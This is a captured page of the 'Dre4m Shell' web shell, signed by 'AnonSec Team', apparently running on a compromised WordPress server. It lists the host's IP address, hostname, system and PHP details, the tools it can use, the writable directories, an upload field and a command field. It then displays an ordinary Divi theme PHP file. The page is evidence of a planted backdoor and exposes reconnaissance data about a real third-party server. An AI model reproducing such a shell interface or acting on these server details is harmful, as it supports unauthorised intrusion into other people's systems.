Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.119.166.34
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/themes/Divi/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/wp-content/themes/Divi/includes//block-editor-integration.php
<?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

/**
 * Enqueue styles for block editor
 *
 * @since ??
 */
function et_divi_block_editor_styles() {
	wp_enqueue_style(
		'divi-block-editor-style',
		get_theme_file_uri( '/css/editor-blocks.css' ),
		array(),
		et_get_theme_version()
	);
}
add_action( 'enqueue_block_editor_assets', 'et_divi_block_editor_styles' );

/**
 * Setup page layout content width options for block editor
 *
 * @since ??
 *
 * @param array $content_widths
 *
 * @return array
 */
function et_divi_gb_content_widths( $content_widths = array() ) {
	// Customizer value
	$content_width     = absint( et_get_option( 'content_width', '1080' ) ); // pixel
	$use_sidebar_width = et_get_option( 'use_sidebar_width', false );
	$sidebar_width     = $use_sidebar_width ? intval( et_get_option( 'sidebar_width', 21 ) ) : 21; // percentage
	$sidebar_padding   = 5.5; // percentage

	// Content width when no sidebar exist
	$no_sidebar = $content_width;

	// Content width when sidebar exist (default)
	$has_sidebar = absint( ( $content_width / 100 ) * ( 100 - ( $sidebar_width + $sidebar_padding ) ) );

	// Min content width (small smartphone width)
	$min = 320;

	// Max content width (15" laptop * 2)
	$max = 2880;

	// Current content width
	$saved   = get_post_meta( get_the_ID(), '_et_gb_content_width', true);
	$current = $saved ? $saved : $has_sidebar;

	return array(
		'current'            => $current,
		'default'            => $has_sidebar,
		'min'                => $min,
		'max'                => $max,
		'et_no_sidebar'      => $no_sidebar,
		'et_left_sidebar'    => $has_sidebar,
		'et_right_sidebar'   => $has_sidebar,
		'et_full_width_page' => $max,
	);
}
add_filter( 'et_gb_content_widths', 'et_divi_gb_content_widths' );

Anon7 - 2022
AnonSec Team